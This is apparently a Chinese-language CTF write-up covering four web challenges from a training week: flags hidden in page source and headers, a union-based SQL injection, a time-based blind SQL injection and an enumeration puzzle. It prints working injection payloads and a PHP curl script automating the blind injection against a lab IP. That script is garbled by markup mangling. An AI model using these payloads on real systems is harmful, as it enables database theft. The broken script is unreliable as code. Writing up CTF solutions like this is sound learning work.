Week3

题做多了果然有经验了,5小时AK了这周的四题
拿了两题的一血~~~

=================================================write time : 7/2 23:00

0x6 做不出来不要玩CTF系列之二(Rank:50)

//这题算是简单的题目了。。不难,也没什么脑洞之类的。。

这题的flag分为三部分,我最先搞出来的是flag3。。点击
点我寻址flag
后查看源码,,看到那一串东西,很眼熟,在 drops里看到过,记得是 XSS的Game&&Write-up 中的第一个 Escape XSS练习中的一题出现过,,截取这串东西的前面一部分,百度,第一个页面。。。

Get Flag3~

然后就是flag1,回到开始的界面,F12 —> 网络 —> 响应头信息

Get Flag1~

接下来就差flag2了,,点击
点我寻址flag
跳转的时候按 ESC 然后查看页面源码。
PS:如果实在手速慢,可以用wireshark抓包,或者burp也行。。。

Get Flag2~

然后三个flag组合起来得到最终 Flag ~~

0x7 SQLi系列之一(Rank:200)

//这周的难题之一,我能这么快做出来是因为这题目和上次提到的 安全科普:SQLi Labs 指南里的好像。。。

根据提示,这题是手注,过滤了 orand 然后打开题目,得到两个信息,是在 id 后面进行注入和 Flag 应该就在当前数据库的 flag表中,然后开始尝试注入。。。。。

然后发现用双引号会报错 ,猜测源码是
select * from xx where id="$id"

接着根据在 安全科普:SQLi Labs 指南中学到的,试着用 union 注入,发现 payload:?id=0" union select 1,2,3 --+成功。。。

然后猜测Flag在flag表中的字段名为flag,于是构造payload:?id=0" union select 1,flag,3 from flag --+

Get Flag~

0x8 SQLi系列之二(Rank:200)

//界面和上一题一样,,不过我觉得比上一题难,可是Rank分还是200.。。。。。

PS:这题也许有简单的方法,,不过我没发现,,用的是笨方法,上一周的基于时间的盲注。。

跟上题差不多的思路,先用上一题的payload测试一下,发现报错,select 1select 1,2select 1,2,3,4 等等都试了没用,,猜测是union过滤了,接着又试了 ?id=0" or 1--+?id=0" and 1 --+,成功,说明 orand 都没过滤,然后试 ord()mid()都没用,然后想起上次看到的两个函数 ascii()substr() 结果发现行,然后就用 ascii()替代 ord()substr()替代 mid() 构造payload:

1
2
3
4
5
?id=1" and (select if(ascii(substr((select flag from flag),1,1)) > 96,1,sleep(3))) --+
```
得出当前数据库flag表flag字段名下的数据第一个字符为 ‘h’,然后就知道方向没错了,又注出来接下来的是 ‘hctf{’,然后就开始写脚本注入后面的数据了。。。

下面为我用php写的脚本,跟上一周那题的没差~

<?php
for($i=96;$i<123;$i++){ $login_url="http://104.236.171.163/week3/blindsqli2/?id=1" and (select if(ascii(substr((select flag from flag),1,1)) > " .$i.',1,sleep(3)))="" --+';="" $ch="curl_init($login_url);" curl_setopt($ch,="" curlopt_returntransfer,1);="" $stime="microtime(true);" $arr="curl_exec($ch);" $etime="microtime(true);" curl_close($ch);="" $total="$etime-$stime;" echo="">"; if($total>3){
echo chr($i);
$i = 58;
}
}
?>
```
用脚本盲注的思路和上一周的基本一致。。然后。

Get Flag~

PS:看着我写的这么迟钝的脚本,,激起了我好好学py的决心~~

0x9 做不出来不要玩CTF系列之三(Rank:20)

//这周题目多了一题,有四题,真棒~~

这题是我觉得这周最坑的题,,,,(/捂脸。。好吧,我承认是我自己想太多了)。。。我竟然往注入方向想了。。浪费了我那么长时间。。

这么没技术。。也没难度。。。就是让你试着 id=1id=2这样一个一个试下去。。。就出来了。。。

Get Flag!

======================================PS:写在最后
果然题目做多了。思路就开阔了。。。坚持学下去。。就一定会有收获~~